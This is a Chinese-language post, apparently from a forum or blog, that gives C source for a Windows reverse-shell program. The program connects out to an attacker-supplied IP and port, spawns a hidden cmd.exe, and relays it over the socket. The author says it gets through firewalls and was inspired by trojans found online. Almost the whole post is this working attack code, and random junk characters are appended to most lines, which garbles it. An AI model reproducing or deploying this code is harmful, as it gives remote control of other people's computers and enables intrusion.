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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 []kN16F  
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/* ============================== R*pC.QiB~  
Rebound port in Windows NT j+4H}XyE  
By wind,2006/7 *Ust[u  
===============================*/ KP"%Rm`XN  
#include `_X;.U.Mv  
#include 1=}qBR#scY  
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#pragma comment(lib,"wsock32.lib") Y'VBz{brf  
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void OutputShell(); hcCp,b  
SOCKET sClient; 6i@\5}m=  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Vy<HA*  
A Io|TD5{~  
void main(int argc,char **argv) Q%S9fq,q  
{ ,zTb<g  
WSADATA stWsaData; XL}"1lE  
int nRet; *>8ce-PV  
SOCKADDR_IN stSaiClient,stSaiServer; ZAKeEm2A  
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if(argc != 3) e 8\;t"D  
{ Rf-[svA  
printf("Useage:\n\rRebound DestIP DestPort\n"); .4y>QN#VL  
return; 4-GXmC  
} bru/AZ#de  
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WSAStartup(MAKEWORD(2,2),&stWsaData); lK7m=[ j  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Mj=$y?d ]  
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stSaiClient.sin_family = AF_INET; Ey[On^$  
stSaiClient.sin_port = htons(0); F/d7q%I  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); p>=[-(mt  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) aolN<u3G  
{ KW^<,qt5w  
printf("Bind Socket Failed!\n"); |]=2 }%1w  
return; Q _iO(qu 6  
} WG71k8af  
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stSaiServer.sin_family = AF_INET; UO Ug4  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); K5t0L!6<+  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !5@_j,lW(  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) qml2XJ>  
{ BQ</g* $;  
printf("Connect Error!"); D('2p8;2"7  
return; `?(Bt|<>  
} U5HKRO  
OutputShell(); HmmS(fU  
} g9fq5E<G  
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void OutputShell() @wmi 5oExc  
{ fU3`v\X  
char szBuff[1024]; qSCv )S(  
SECURITY_ATTRIBUTES stSecurityAttributes; BKa- k!  
OSVERSIONINFO stOsversionInfo; }ArpPU :]  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; RkeltE~u  
STARTUPINFO stStartupInfo; b^c9po  
char *szShell; smY$-v)@  
PROCESS_INFORMATION stProcessInformation; C Wo1.pVw  
unsigned long lBytesRead; '|>9C^E9X  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); bAk&~4Y_"  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); b#)U UGmI  
stSecurityAttributes.lpSecurityDescriptor = 0; abNV4 ,M  
stSecurityAttributes.bInheritHandle = TRUE; FXdD4X)  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); <Peebv&v  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); gd/H``x|Y  
#%@*p,xh  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); nwt C:*}  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1_'? JfY-  
stStartupInfo.wShowWindow = SW_HIDE; jVgFZ,  
stStartupInfo.hStdInput = hReadPipe; X6+qpp  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; VQI(Vp|  
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GetVersionEx(&stOsversionInfo); XZNY4/ 25G  
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switch(stOsversionInfo.dwPlatformId) m9}AG Rj  
{ _/*U2.xS  
case 1: ^>y@4qB  
szShell = "command.com"; 2 !" XzdD  
break; V==z"  
default: SHb(O<6  
szShell = "cmd.exe"; I:V0Xxz5t  
break; ;{[>&4  
} ,5Pl\keY  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /%aiEhL  
Syp"L;H8Em  
send(sClient,szMsg,77,0); 7r+g8+4  
while(1) ZI ;<7tF_z  
{ hd V1nS$  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); tGdf/aTjy  
if(lBytesRead) ;< )~Y-  
{ oY~ Dg  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~n')&u{  
send(sClient,szBuff,lBytesRead,0); IL/Yc1  
} -F"Q EL#  
else D'l5Zd  
{ YKbCdLQ  
lBytesRead=recv(sClient,szBuff,1024,0); j/T>2|dA&  
if(lBytesRead<=0) break; (}r|yE  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); mV73 \P6K  
} I]"96'|N  
} p,pR!qC>  
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return; gG%V 9eOQ  
}
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